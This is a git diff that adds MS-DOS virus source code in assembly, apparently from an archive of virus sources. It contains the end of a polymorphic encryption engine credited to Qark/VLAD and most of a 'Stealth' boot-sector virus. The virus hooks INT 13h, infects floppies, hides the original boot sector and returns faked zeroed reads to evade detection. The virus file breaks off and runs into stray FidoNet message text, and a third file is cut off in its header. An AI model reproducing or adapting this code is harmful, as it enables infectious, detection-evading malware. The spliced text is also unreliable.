+ or al,0f8h + mov ah,al + mov al,81h ;CMP pointer,xxxx + stosw + + call round_up + add ax,word ptr pointer1val + stosw + + call handle_jne + + mov word ptr loopf,di + stosb + + call rand_garbage + + mov al,0c3h ;RET + stosb + + call rand_garbage + + mov ax,di ;Fix the JNE. + mov si,word ptr loopf + inc si + sub ax,si + dec si + mov byte ptr [si],al + + call encrypt_type + + mov al,0e8h ;CALL xxxx + stosb + mov ax,di + inc ax + inc ax + sub ax,word ptr loopback + neg ax + stosw + + mov byte ptr inloop,0 + + call rand_garbage + + mov ax,0c481h + stosw + mov ax,word ptr saved_cx + dec ax + dec ax + stosw + + call rand_garbage + + ;Calculate the displacement + call fix_displacements + + call encrypt_virus + + call decryptor_size + + ret + +Call_Enc2: +;Decrypts the virus from within a call. +; ----This is a basic layout of the decryptor---- +; mov pointer,offset virus_start +; mov cipher,xorval +; call decrypt +; jmp short virus_start +; decrypt: +; xor pointer,cipher +; inc pointer +; inc pointer +; cmp pointer,virus_start+viruslength +; jne decrypt +; ret +; ----------------------------------------------- + + call startup + + mov byte ptr inloop,1 + + mov al,0e8h ;CALL xxxx + stosb + stosw + mov word ptr loopf16,di + + call rand_garbage + + mov al,0e9h ;JMP xxxx + stosb + mov word ptr displace2,di +; mov ax,di +; inc ax +; inc ax +; sub ax,saved_di +; neg ax + stosw + + call rand_garbage + call rand_garbage + + mov ax,di + mov si,word ptr loopf16 + sub ax,si + mov word ptr [si-2],ax + + mov word ptr loopstart,di + + call encrypt_type + + or al,0f8h + mov ah,al + mov al,81h ;CMP pointer,xxxx + stosw + + call round_up + add ax,word ptr pointer1val + stosw + + call handle_jne + call calc_jne + + mov al,0c3h ;ret + stosb + + mov byte ptr inloop,0 + + call rand_garbage + + mov ax,di + mov si,word ptr displace2 + sub ax,si + dec ax + dec ax + mov [si],ax + mov word ptr displace2,0 + + call rand_garbage + + ;Calculate the displacement + call fix_displacements + + call encrypt_virus + + call decryptor_size + + ret + + db 'VIP V1.0 by Qark/VLAD' + + +;All the different encryption types +dec_type dw offset stack1 + dw offset call_enc + dw offset call_enc2 + dw offset standard + +segtype db 0 ;1 if com file +saved_cx dw 0 ;the initial CX +saved_di dw 0 ;the initial DI +saved_si dw 0 + +displace dw 0 +displace2 dw 0 + dw 0 + +displaceb dw 0 + +inloop db 0 ;=1 if inside a loop else 0 + ;if set no 'word ptr' instructions made +loopstart dw 0 ;for backwards 8 bit +loopf dw 0 ;for forwards 8 bit +loopback dw 0 ;backwards 16 bit +loopf16 dw 0 ;forwards 16 bit +xorval dw 0 + +cipher db 0 + +r_m db 0 ;The r-m of the pointer + +; +;General routines, used universally +; +Check_Reg: +;Returns a carry if the register in lower 3 bits of al is bad + push ax + push si + and ax,7 + mov si,offset reg + add si,ax + cmp byte ptr [si],0 + pop si + pop ax + je ok_reg + stc + ret +ok_reg: + clc + ret + ; ax,cx,dx,bx,sp,bp,si,di +reg db 00,00,00,00,01,00,00,00 + +Mark_Reg: +;Mark a register as used, AL=reg + push ax + push si + and ax,7 + mov si,offset reg + add si,ax + mov byte ptr [si],1 + pop si + pop ax + ret + +UnMark_All: +;Clears the register table, and sets SP + push ax + push di + push cx + mov di,offset reg + mov al,0 + mov cx,8 + cs: + rep stosb + mov byte ptr cs:[reg+4],1 ;set sp + pop cx + pop di + pop ax + ret + +Clear_Displacement: +;Clears all the displacement variables + push di + push ax + mov di,offset displace + xor ax,ax + stosw + stosw + stosw + stosw + stosw + pop ax + pop di + ret + +Select_Pointer: +;Select an r-m as a pointer, you must call this routine before reserving +;any registers. Updates the variable r_m. + push ax + push si + call get_rand + and ax,7 + mov byte ptr r_m,al + + call index_2_pointer + mov al,byte ptr [si] + call mark_reg + inc si + mov al,byte ptr [si] + cmp al,0 + je no_pointer2 + call mark_reg +no_pointer2: + pop si + pop ax + ret + +Setup_Pointer: +;Sets up the registers specified in the r-m with random values. These +;values are put into the variable 'pointval'. +;Moves the instructions into ES:DI. + push ax + push si + + call rand_garbage + + call index_2_pointer + mov al,byte ptr [si] + mov byte ptr pointer,al + or al,0b8h ;MOV REG,xxxx + stosb + call get_rand + stosw + mov word ptr pointval,ax + mov word ptr pointer1val,ax + + call rand_garbage + + mov al,byte ptr [si+1] + cmp al,0 + je no_setupp2 + + or al,0b8h ;MOV REG,xxxx + stosb + + call get_rand + stosw + add word ptr pointval,ax + + call rand_garbage + +no_setupp2: + + pop si + pop ax + ret + +Index_2_Pointer: +;Sets SI to the 'pointers' table of the r_m + push ax + xor ax,ax + mov al,byte ptr r_m + shl ax,1 + mov si,offset pointers + add si,ax + pop ax + ret + +pointer db 0 ;the first register +pointer1val dw 0 ;the value of the first register +pointval dw 0 +Pointers db 3,6 ;[bx+si] + db 3,7 ;[bx+di] + db 5,6 ;[bp+si] + db 5,7 ;[bp+di] + db 6,0 ;[si] + db 7,0 ;[di] + db 5,0 ;[bp] + db 3,0 ;[bx] + +Select_Reg: +;Reserves a random register, and passes it out in AL +;AH is destroyed + call get_rand + call check_reg + jc select_reg + and al,7 + call mark_reg + ret + +Setup_Reg: +;Puts the value specified in BX, into the register specified in AL. +;-Needs Fixing- to add a possible SUB, and also the garbage generation needs +;to produce the same add/sub opcodes. + + push ax + push bx + + call rand_garbage + + and al,7 + push ax + or al,0b8h ;MOV reg,xxxx + stosb + + call get_rand + + sub bx,ax + stosw + + call rand_garbage + + pop ax + cmp al,0 + jne long_addreg + mov al,5 ;ADD AX,xxxx + stosb + jmp short finish_add +long_addreg: + or al,0c0h + mov ah,al + mov al,81h + stosw ;ADD reg,xxxx +finish_add: + mov ax,bx + stosw + + call rand_garbage + + pop bx + pop ax + ret + +Seg_Override: +;Puts the correct segment before a memory write. The memory write must be +;called immediately afterwards. + push ax + cmp byte ptr segtype,1 + je no_segset + mov al,2eh ;CS: + stosb +no_segset: + pop ax + ret + +Fix_Pointer: +;Fixes up the mod/rm field of a pointer instruction. Before this routine +;is called, the opcode field has already been stosb'd. eg for xor, 31h has +;been put into the current es:[di-1]. +;on entry AL=register +;The displacement field (the following 2 bytes) must be fixed up manually. + + push ax + push bx + push cx + + mov cl,3 + shl al,cl + or al,byte ptr r_m + or al,80h + stosb + + pop cx + pop bx + pop ax + ret + +Dec_Inc_Reg: +;Inc/Dec's the reg in AL. AH= 0=inc 1=dec +;No garbage generators are called in this routine, because the flags +;may be important. + push ax + mov byte ptr dec_inc,ah + call get_rand + test al,1 + pop ax + push ax + jnz do_inc_dec + cmp al,0 ;check for ax + jne not_ax_incdec + mov ax,0ff05h ;ADD AX,ffff = DEC AX + cmp byte ptr dec_inc,0 + jne fdec1 + mov al,2dh ;SUB +fdec1: + stosw + mov al,0ffh + stosb + pop ax + ret +not_ax_incdec: + cmp byte ptr dec_inc,0 + je fdec2 + or al,0c0h + jmp short fdec3 +fdec2: + or al,0e8h +fdec3: + mov ah,al + mov al,83h ;ADD reg,ffff = DEC reg + stosw + mov al,0ffh + stosb + pop ax + ret +do_inc_dec: + or al,40h ;INC reg + cmp byte ptr dec_inc,0 + je fdec4 + or al,8 +fdec4: + stosb + pop ax + ret +dec_inc db 0 ;0=inc 1=dec + +Round_Up: +;Rounds up the number in saved_cx to the nearest 2 and passes it out in AX. + mov ax,word ptr saved_cx + inc ax + shr ax,1 + shl ax,1 + mov word ptr saved_cx,ax + ret + +Fix_Displacements: +;Adds the size of the produced decyptors to the data listed in the +;displacement variables. 0 Values signal the end. +;DI=The final length of the 'decryptor' + + push ax + push si + + mov ax,di + sub ax,word ptr saved_di + push di + mov si,offset displace +disp_loop: + cmp word ptr [si],0 + je last_displacement + mov di,[si] + add [di],ax + inc si + inc si + jmp short disp_loop +last_displacement: + pop di + pop si + pop ax + ret + +Rand_Garbage: +;Generates 1-4 garbage instructions. + push ax + call get_rand + and ax,07h + push cx + mov cx,ax + inc cx +start_garbage: + call select_garbage + loop start_garbage + pop cx + pop ax + ret + +Select_Garbage: +;Selects a garbage routine to goto + + call get_rand + and ax,14 + push si + mov si,offset calls + add si,ax + mov ax,word ptr [si] + pop si + jmp ax + +calls dw offset Make_Inc_Dec + dw offset Imm2Reg + dw offset Rand_Instr + dw offset Mov_Imm + dw offset Make_Xchg + dw offset Rand_Instr + dw offset Mov_Imm + dw offset Imm2Reg + +Make_Inc_Dec: +;Puts a word INC/DEC in ES:DI +;eg INC AX +; DEC BP + + mov ax,di + sub ax,word ptr saved_di + cmp ax,15 + ja not_poly_start ;inc/dec in the first 20 bytes, flags + ret +not_poly_start: + call get_rand + call check_reg + jc make_inc_dec + and al,0fh + or al,40h + + test al,8 + jnz calc_dec + + stosb + ret +calc_dec: + mov ah,al + and al,7 + cmp al,2 + ja Make_Inc_Dec + mov al,ah + stosb + ret + +Fix_Register: +;AX=random byte, where the expected outcome is ah=opcode al=mod/rm +;Carry is set if bad register. Word_Byte is updated to show word/byte. + test ah,1 + jnz word_garbage + mov byte ptr word_byte,0 + call check_breg + jmp short byte_garbage +word_garbage: + mov byte ptr word_byte,1 + call check_reg +byte_garbage: + ret +word_byte db 0 ;1=word, 0 = byte + + +Imm2Reg: +;Immediate to register. + call get_rand + call fix_register + jc imm2reg + test al,7 ;AX/AL arent allowed (causes heuristics) + jz imm2ax + xchg al,ah + and al,3 + cmp al,2 ;signed byte is bad + je imm2reg + or al,80h + or ah,0c0h + stosw + test al,2 ;signed word + jnz ione_stosb + call get_rand + cmp byte ptr word_byte,1 + jne ione_stosb + stosb +ione_stosb: + call get_rand + stosb + ret +imm2ax: + xchg ah,al + and al,3dh + or al,4 + stosw + test al,1 + jnz ione_stosb + ret + +Rand_Instr: +;Creates a whole stack of instructions. +;and,or,xor,add,sub,adc,cmp,sbb + + mov ax,di + sub ax,word ptr saved_di + cmp ax,10 + ja not_poly_start2 ;in the first 20 bytes, flags G + ret +not_poly_start2: + call get_rand + ;Inloop stops xxx xx,word ptr [xxxx] instructions inside the + ;loops. It changes them to 'byte ptr' which stops the ffff crash + ;problem. + cmp byte ptr inloop,1 + jne ok_words + and ah,0feh +ok_words: + call fix_register + jc rand_instr + push cx + mov cl,3 + rol al,cl + pop cx + xchg ah,al + and al,039h + or al,2 ;set direction flag + stosb + mov al,ah + and al,0c0h + cmp al,0c0h + je zerobytedisp + cmp al,0 + je checkdisp + cmp al,80h + je twobytedisp + ;sign extended + mov al,ah + stosb +negative_value: + call get_rand + cmp al,0ffh + je negative_value + stosb + ret +twobytedisp: + mov al,ah + stosb + call get_rand + stosw + ret +checkdisp: + push ax + and ah,7 + cmp ah,6 + pop ax + je twobytedisp +zerobytedisp: + mov al,ah + stosb + ret + +Mov_Imm: +;Puts a MOV immediate instruction. + call get_rand + test al,8 + jnz word_mov + call check_breg + jmp short mov_check +word_mov: + call check_reg +mov_check: + jc mov_imm + and al,0fh + or al,0b0h + stosb + test al,8 + jnz mov_word + call get_rand + stosb + ret +mov_word: + call get_rand + stosw + ret + +Init_Rand: +;Initialises the Get_Rand procedure. + push ax + push cx + push dx + push si + push ds + mov si,1 + mov ax,0ffffh ;Get word from ROM BIOS. + mov ds,ax + mov ax,word ptr [si] + pop ds + mov word ptr randseed,ax + call get_rand + push ax + mov ah,2ah ;Get Date. + int 21h ;call int21h + pop ax + add ax,cx + xor ax,dx + mov word ptr randseed,ax + call get_rand + pop si + pop dx + pop cx + pop ax + ret + +Get_Rand: +;Gets a random number in AX. + push cx + push dx + mov ax,word ptr randseed + mov cx,ax + mov dx,ax + and cx,1ffh + or cl,01fh +propogate: + add dx,ax + mul dx + add ax,4321h + neg ax + ror dx,1 + loop propogate + mov word ptr randseed,ax + + pop dx + pop cx + ret +randseed dw 0 + +Make_Xchg: + mov ax,di + sub ax,word ptr saved_di + cmp ax,10 + ja not_poly_start3 ;inc/dec in the first 20 bytes, flags + ret +not_poly_start3: + + call get_rand + call fix_register + jc make_xchg + push cx + mov cl,3 + rol al,cl + pop cx + call fix_register + jc make_xchg + test ah,1 + jz xchg_8bit + test al,7 + jz xchg_ax2 + test al,38h + jz xchg_ax1 +xchg_8bit: + and ax,13fh + or ax,86c0h + xchg ah,al + stosw + ret +xchg_ax1: + and al,7 + or al,90h + stosb + ret +xchg_ax2: + push cx + mov cl,3 + ror al,cl + pop cx + jmp short xchg_ax1 + +Check_bReg: +;Checks if an 8bit reg is used or not. +;AL=register + push ax + and al,3 + call check_reg + pop ax + ret + +Decryptor_Size: +;Calculate the size of the decryptor + code +;Entry: DI=everything done +;Exit : CX=total decryptor length + + mov cx,di + sub cx,word ptr saved_di + ret + +Setup_Cipher: +;Randomly selects a cipher register and initialises it with a value. +;Puts the register into the variable 'cipher' and the value into 'xorval' + + call rand_garbage + call get_rand + mov bx,ax + mov word ptr xorval,ax + call select_reg + mov byte ptr cipher,al + call setup_reg + call rand_garbage + ret + +Startup: +;Does the most common startup procedures. Puts some garbage, and sets +;up the pointer register. + + call rand_garbage + call rand_garbage + call select_pointer ;Setup pointer + call setup_pointer + + call setup_cipher + ret + +Handle_JNE: +;Randomly puts either JNE or JB at ES:DI. +;Must be called after the CMP instruction. + push ax + push si + + ;Test to make sure our pointer isnt going +ffff, if so, only use + ;jne, not jnb. + call round_up + add ax,word ptr pointer1val + jnc random_jne + mov al,75h + jmp short unrandom_jne +random_jne: + + call get_rand + and ax,1 + mov si,offset jne_table + add si,ax + mov al,byte ptr [si] +unrandom_jne: + stosb + pop si + pop ax + ret + +jne_table db 75h ;JNE/JNZ + db 72h ;JB/JNAE + +Calc_JNE: +;Calculates the distance needed to JMP backwards and puts it into ES:DI. +;On entry DI points to the byte after a JNE/JB instruction +; and 'loopstart' contains the offset of the loop. + + push ax + mov ax,di + inc ax + sub ax,word ptr loopstart + neg al + stosb + call rand_garbage + pop ax + ret + +Increase_Pointer: +;Increases the register specified in 'pointer' by two. +;On exit AL=pointer register. + + call rand_garbage + xor ax,ax + mov al,byte ptr pointer + call dec_inc_reg + call rand_garbage + call dec_inc_reg + call rand_garbage + ret + +Encrypt_Type: +;Selects the type of encryption and sets everything up. + call rand_garbage + call seg_override + + call rand3 + mov al,byte ptr [si+1] + mov byte ptr encbyte,al + + mov al,byte ptr [si] ;The instruction from 'enc_table' + stosb + + mov al,byte ptr cipher + call fix_pointer + mov word ptr displace,di + + mov ax,bp + sub ax,word ptr pointval + stosw + + call rand_garbage + + call rand3 + mov al,byte ptr [si+2] + or al,0c3h + mov byte ptr encb2,al + + cmp byte ptr cipher,0 + jne fix_16imm + mov al,byte ptr [si+2] + or al,5 + stosb + jmp short set_imm + +fix_16imm: + mov al,81h + stosb + mov al,byte ptr [si+2] + or al,0c0h + or al,byte ptr cipher + stosb + +set_imm: + call get_rand + stosw + + mov word ptr encval2,ax + + call increase_pointer + + ret + +enc_table db 31h ;XOR ;Direct word operation + db 33h ;XOR reg,reg ;Undo.. + db 30h + + db 01h ;ADD + db 2bh ;SUB reg,reg + db 0 ;ADD + + db 29h ;SUB + db 03h ;ADD reg,reg + db 28h + +Rand3: +;Gets a number in ax, either 0,4,8, and indexes SI that distance into +;enc_table. +encrypt_rand: + call get_rand + mov cx,3 + xor dx,dx + div cx + mov ax,dx + xor dx,dx + mul cx + mov si,offset enc_table + add si,ax + ret + +Encrypt_Virus: + mov si,word ptr saved_si + mov cx,word ptr saved_cx + inc cx + shr cx,1 + mov bx,word ptr xorval +enc_loop: + lodsw + + ;op ax,bx + encbyte db 0 ;op + db 0c3h + + db 81h + encb2 db 0 + encval2 dw 0 + + stosw + loop enc_loop + ret + diff --git a/MSDOS/Virus.MSDOS.Unknown.vir#1.asm b/MSDOS/Virus.MSDOS.Unknown.vir#1.asm new file mode 100644 index 00000000..c7decd73 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vir#1.asm @@ -0,0 +1,1256 @@ +;The Stealth Virus is a boot sector virus which remains resident in memory +;after boot so it can infect disks. It hides itself on the disk and includes +;special anti-detection interrupt traps so that it is very difficult to +;locate. This is a very infective and crafty virus. + +COMSEG SEGMENT PARA + ASSUME CS:COMSEG,DS:COMSEG,ES:COMSEG,SS:COMSEG + + ORG 100H + +START: + jmp BOOT_START + +;******************************************************************************* +;* BIOS DATA AREA * +;******************************************************************************* + + ORG 413H + +MEMSIZE DW 640 ;size of memory installed, in KB + +;******************************************************************************* +;* VIRUS CODE STARTS HERE * +;******************************************************************************* + + ORG 7000H + +STEALTH: ;A label for the beginning of the virus + + +;******************************************************************************* +;Format data consists of Track #, Head #, Sector # and Sector size code (2=512b) +;for every sector on the track. This is put at the very start of the virus so +;that when sectors are formatted, we will not run into a DMA boundary, which +;would cause the format to fail. This is a false error, but one that happens +;with some BIOS's, so we avoid it by putting this data first. +;FMT_12M: ;Format data for Track 80, Head 1 on a 1.2 Meg diskette, +; DB 80,1,1,2, 80,1,2,2, 80,1,3,2, 80,1,4,2, 80,1,5,2, 80,1,6,2 +; +;FMT_360: ;Format data for Track 40, Head 1 on a 360K diskette +; DB 40,1,1,2, 40,1,2,2, 40,1,3,2, 40,1,4,2, 40,1,5,2, 40,1,6,2 + + +;******************************************************************************* +;* INTERRUPT 13H HANDLER * +;******************************************************************************* + +OLD_13H DD ? ;Old interrupt 13H vector goes here + +INT_13H: + sti + cmp ah,2 ;we want to intercept reads + jz READ_FUNCTION + cmp ah,3 ;and writes to all disks + jz WRITE_FUNCTION +I13R: jmp DWORD PTR cs:[OLD_13H] + + +;******************************************************************************* +;This section of code handles all attempts to access the Disk BIOS Function 2, +;(Read). It checks for several key situations where it must jump into action. +;they are: +; 1) If an attempt is made to read the boot sector, it must be processed +; through READ_BOOT, so an infected boot sector is never seen. Instead, +; the original boot sector is read. +; 2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on +; drive C are read, they are processed by READ_HARD, so the virus +; code is never seen on the hard drive. +; 3) If an attempt is made to read the boot sector on the floppy, and +; the motor is off, this routine checks to see if the floppy has +; already been infected, and if not, it goes ahead and infects it. + +READ_FUNCTION: ;Disk Read Function Handler + cmp dh,0 ;is it head 0? + jnz I13R ;nope, let BIOS handle it + cmp ch,0 ;is it track 0? + jnz I13R ;no, let BIOS handle it + cmp cl,1 ;track 0, is it sector 1 + jz READ_BOOT ;yes, go handle boot sector read + cmp dl,80H ;no, is it hard drive c:? + jnz I13R ;no, let BIOS handle it + cmp cl,8 ;sector < 8? + jnc I13R ;nope, let BIOS handle it + jmp READ_HARD ;yes, divert read on the C drive + + +;******************************************************************************* +;This section of code handles all attempts to access the Disk BIOS Function 3, +;(Write). It checks for two key situations where it must jump into action. They +;are: +; 1) If an attempt is made to write the boot sector, it must be processed +; through WRITE_BOOT, so an infected boot sector is never overwritten. +; instead, the write is redirected to where the original boot sector is +; hidden. +; 2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on +; drive C are written, they are processed by WRITE_HARD, so the virus +; code is never overwritten. + +WRITE_FUNCTION: ;BIOS Disk Write Function + cmp dh,0 ;is it head 0? + jnz I13R ;nope, let BIOS handle it + cmp ch,0 ;is it track 0? + jnz I13R ;nope, let BIOS handle it + cmp cl,1 ;is it sector 1 + jnz WF1 ;nope, check for hard drive + jmp WRITE_BOOT ;yes, go handle boot sector read +WF1: cmp dl,80H ;is it the hard drive c: ? + jnz I13R ;no, another hard drive + cmp cl,8 ;sector < 8? + jnc I13R ;nope, let BIOS handle it + jmp WRITE_HARD ;else take care of writing to C: + + +;******************************************************************************* +;This section of code handles reading the boot sector. There are three +;possibilities: 1) The disk is not infected, in which case the read should be +;passed directly to BIOS, 2) The disk is infected and only one sector is +;requested, in which case this routine figures out where the original boot +;sector is and reads it, and 3) The disk is infected and more than one sector +;is requested, in which case this routine breaks the read up into two calls to +;the ROM BIOS, one to fetch the original boot sector, and another to fetch the +;additional sectors being read. One of the complexities in this last case is +;that the routine must return the registers set up as if only one read had +;been performed. +; To determine if the disk is infected, the routine reads the real boot sector +;into SCRATCHBUF and calls IS_VBS. If that returns affirmative (z set), then +;this routine goes to get the original boot sector, etc., otherwise it calls ROM +;BIOS and allows a second read to take place to get the boot sector into the +;requested buffer at es:bx. + +READ_BOOT: + cmp dl,80H ;check if we must infect first + jnc RDBOOT ;don't need to infect hard dsk + call CHECK_DISK ;is floppy already infected? + jz RDBOOT ;yes, go do read + call INFECT_FLOPPY ;no, go infect the diskette +RDBOOT: push ax ;now perform a redirected read + push bx ;save registers + push cx + push dx + push ds + push es + push bp + + push cs ;set ds=es=cs + pop es + push cs + pop ds + mov bp,sp ;and bp=sp + +RB001: mov al,dl + call GET_BOOT_SEC ;read the real boot sector + jnc RB01 ;ok, go on + call GET_BOOT_SEC ;do it again to make sure + jnc RB01 ;ok, go on + jmp RB_GOON ;error, let BIOS return err code +RB01: call IS_VBS ;is it the viral boot sector? + jz RB02 ;yes, jump + jmp RB_GOON ;no, let ROM BIOS read sector +RB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START) + mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86 + + mov al,BYTE PTR [bx] ;get disk type of disk being + cmp al,80H ;read, and make an index of it + jnz RB1 + mov al,4 +RB1: mov bl,3 ;to look up location of boot sec + mul bl + add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@BOOT_SECTOR_LOCATION table + mov bx,ax + mov ch,[bx] ;get track of orig boot sector + mov dh,[bx+1] ;get head of orig boot sector + mov cl,[bx+2] ;get sector of orig boot sector + mov dl,ss:[bp+6] ;get drive from original spec + mov bx,ss:[bp+10] ;get read buffer offset + mov ax,ss:[bp+2] ;and segment + mov es,ax ;from original specification + mov ax,201H ;prepare to read 1 sector + pushf + call DWORD PTR [OLD_13H] ;do BIOS int 13H + mov al,ss:[bp+12] ;see if original request + cmp al,1 ;was for more than one sector + jz RB_EXIT ;no, go exit + +READ_1NEXT: ;more than 1 sec requested, so + pop bp ;read the rest as a second call + pop es ;to BIOS + pop ds + pop dx ;first restore these registers + pop cx + pop bx + pop ax + + add bx,512 ;prepare to call BIOS for + push ax ;balance of read + dec al ;get registers straight for it + inc cl + + cmp dl,80H ;is it the hard drive? + jnz RB15 ;nope, go handle floppy + + push bx ;handle an infected hard drive + push cx ;by faking read on extra sectors + push dx ;and returning a block of 0's + push si + push di + push ds + push bp + + push es + pop ds ;ds=es + + mov BYTE PTR [bx],0 ;set first byte in buffer = 0 + mov si,bx + mov di,bx + inc di + mov ah,0 ;ax=number of sectors to read + mov bx,512 ;bytes per sector + mul bx ;# of bytes to read in dx:ax<64K + mov cx,ax + dec cx ;number of bytes to move in cx + rep movsb ;fill buffer with 0's + + clc ;clear c, fake read successful + pushf ;then restore everyting properly + pop ax ;first set flag register + mov ss:[bp+20],ax ;as stored on the stack + pop bp ;and pop all registers + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ah,0 + dec cl + sub bx,512 + iret ;and get out + +RB15: ;read next sectors on floppy + pushf ;call BIOS to + call DWORD PTR cs:[OLD_13H] ;read the rest (must use cs) + push ax + push bp + mov bp,sp + pushf ;use c flag from BIOS call + pop ax ;to set c flag on the stack + mov ss:[bp+10],ax + jc RB2 ;if error, return ah from 2nd rd + sub bx,512 ;else restore registers so + dec cl ;it looks as if only one read + pop bp ;was performed + pop ax + pop ax ;and exit with ah=0 to indicate + mov ah,0 ;successful read + iret + +RB2: pop bp ;error on 2nd read + pop ax ;so clean up stack + add sp,2 ;and get out + iret + +RB_EXIT: ;exit from single sector read + mov ax,ss:[bp+18] ;set the c flag on the stack + push ax ;to indicate successful read + popf + clc + pushf + pop ax + mov ss:[bp+18],ax + pop bp ;restore all registers + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + mov ah,0 + iret ;and get out + +RB_GOON: ;This passes control to BIOS + pop bp ;for uninfected disks + pop es ;just restore all registers to + pop ds ;their original values + pop dx + pop cx + pop bx + pop ax + jmp I13R ;and go jump to BIOS + + +;******************************************************************************* +;This table identifies where the original boot sector is located for each +;of the various disk types. It is used by READ_BOOT and WRITE_BOOT to redirect +;boot sector reads and writes. + +BOOT_SECTOR_LOCATION: + DB 39,1,9 ;Track, head, sector, 360K drive + DB 79,1,15 ;1.2M drive + DB 79,1,9 ;720K drive + DB 79,1,18 ;1.44M drive + DB 0,0,7 ;Hard drive + + +;******************************************************************************* +;This routine handles writing the boot sector for all disks. It checks to see +;if the disk has been infected, and if not, allows BIOS to handle the write. +;If the disk is infected, this routine redirects the write to put the boot +;sector being written in the reserved area for the original boot sector. It +;must also handle the writing of multiple sectors properly, just as READ_BOOT +;did. + +WRITE_BOOT: + push ax ;save everything we might change + push bx + push cx + push dx + push ds + push es + push bp + mov bp,sp + + push cs ;ds=es=cs + pop ds + push cs + pop es + + mov al,dl + call GET_BOOT_SEC ;read the real boot sector + jnc WB01 + call GET_BOOT_SEC ;do it again if first failed + jnc WB01 + jmp WB_GOON ;error on read, let BIOS take it +WB01: call IS_VBS ;else, is disk infected? + jz WB02 ;yes + jmp WB_GOON ;no, let ROM BIOS write sector +WB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START) + mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86 + + mov al,BYTE PTR [bx] + cmp al,80H ;infected, so redirect the write + jnz WB1 + mov al,4 ;make an index of the drive type +WB1: mov bl,3 + mul bl + add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@table entry + mov bx,ax + mov ch,[bx] ;get the location of original + mov dh,[bx+1] ;boot sector on disk + mov cl,[bx+2] ;prepare for the write + mov dl,ss:[bp+6] + mov bx,ss:[bp+10] + mov ax,ss:[bp+2] + mov es,ax + mov ax,301H + pushf + call DWORD PTR [OLD_13H] ;and do it + sti + mov dl,ss:[bp+6] + cmp dl,80H ;was write going to hard drive? + jnz WB_15 ;no + mov BYTE PTR [DR_FLAG],80H ;yes, update partition info + push si + push di + mov di,OFFSET PART ;just move it from sec we just + mov si,ss:[bp+10] ;wrote into the viral boot sec + add si,OFFSET PART + sub si,OFFSET BOOT_START + push es + pop ds + push cs + pop es ;switch ds and es around + mov cx,20 + rep movsw ;and do the move + push cs + pop ds + mov ax,301H + mov bx,OFFSET BOOT_START + mov cx,1 ;Track 0, Sector 1 + mov dx,80H ;drive 80H, Head 0 + pushf ;go write updated viral boot sec + call DWORD PTR [OLD_13H] ;with new partition info + pop di ;clean up + pop si + +WB_15: mov al,ss:[bp+12] + cmp al,1 ;was write more than 1 sector? + jz WB_EXIT ;if not, then exit + +WRITE_1NEXT: ;more than 1 sector + mov dl,ss:[bp+6] ;see if it's the hard drive + cmp dl,80H + jz WB_EXIT ;if so, ignore rest of the write + pop bp ;floppy drive, go write the rest + pop es ;as a second call to BIOS + pop ds + pop dx + pop cx ;restore all registers + pop bx + pop ax + add bx,512 ;and modify a few to + push ax ;drop writing the first sector + dec al + inc cl + pushf + call DWORD PTR cs:[OLD_13H] ;go write the rest + sti + push ax + push bp + mov bp,sp + pushf ;use c flag from call + pop ax ;to set c flag on the stack + mov ss:[bp+10],ax + jc WB2 ;an error + ;so exit with ah from 2nd int 13 + sub bx,512 + dec cl + pop bp + pop ax + pop ax ;else exit with ah=0 + mov ah,0 ;to indicate success + iret + +WB2: pop bp ;exit with ah from 2nd + pop ax ;interrupt + add sp,2 + iret + + +WB_EXIT: ;exit after 1st write + mov ax,ss:[bp+18] ;set carry on stack to indicate + push ax ;a successful write operation + popf + clc + pushf + pop ax + mov ss:[bp+18],ax + pop bp ;restore all registers and exit + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + mov ah,0 + iret + +WB_GOON: ;pass control to ROM BIOS + pop bp ;just restore all registers + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + jmp I13R ;and go do it + + +;******************************************************************************* +;Read hard disk sectors on Track 0, Head 0, Sec > 1. If the disk is infected, +;then instead of reading the true data there, return a block of 0's, since +;0 is the data stored in a freshly formatted but unused sector. This will +;fake the caller out and keep him from knowing that the virus is hiding there. +;If the disk is not infected, return the true data stored in those sectors. + +READ_HARD: + call CHECK_DISK ;see if disk is infected + jnz RWH_EX ;no, let BIOS handle the read + push ax ;else save registers + push bx + push cx + push dx + push si + push di + push ds + push bp + mov bp,sp + mov BYTE PTR es:[bx],0 ;zero the first byte in the blk + push es + pop ds + mov si,bx ;set up es:di and ds:si + mov di,bx ;for a transfer + inc di + mov ah,0 ;ax=number of sectors to read + mov bx,512 ;bytes per sector + mul bx ;number of bytes to read in ax + mov cx,ax + dec cx ;number of bytes to move + rep movsb ;do fake read of all 0's + + mov ax,ss:[bp+20] ;now set c flag + push ax ;to indicate succesful read + popf + clc + pushf + pop ax + mov ss:[bp+20],ax + + pop bp ;restore everything and exit + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ah,0 ;set to indicate successful read + iret + +RWH_EX: jmp I13R ;pass control to BIOS + + +;******************************************************************************* +;Handle writes to hard disk Track 0, Head 0, 1 Hard disks never die... (2:283/718) +;============================================================================= +; +;Yoo-hooo-oo, -! +; +; +; The MeeO +; +;/uxxxx Set version emulation, version xxxx +; +;--- Aidstest Null: /Kill +; * Origin: PVT.ViRIImainboard / Virus Research labs. (2:5030/136) + diff --git a/MSDOS/Virus.MSDOS.Unknown.vir03.asm b/MSDOS/Virus.MSDOS.Unknown.vir03.asm new file mode 100644 index 00000000..eb408885 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vir03.asm @@ -0,0 +1,77 @@ +; PVT.VIRII (2:465/65.4) PVT.VIRII +; Msg : 1 of 62 +; From : MeteO 2:5030/136 Tue 09 Nov 93 09:08 +; To : - *.* - Fri 11 Nov 94 08:10 +; Subj : TRV_46.ASM +; +;.RealName: Max Ivanov +; +;* Kicked-up by MeteO (2:5030/136) +;* Area : VIRUS (Int: p p) +;* From : Doug Bryce, 2:283/718 (06 Nov 94 16:02) +;* To : 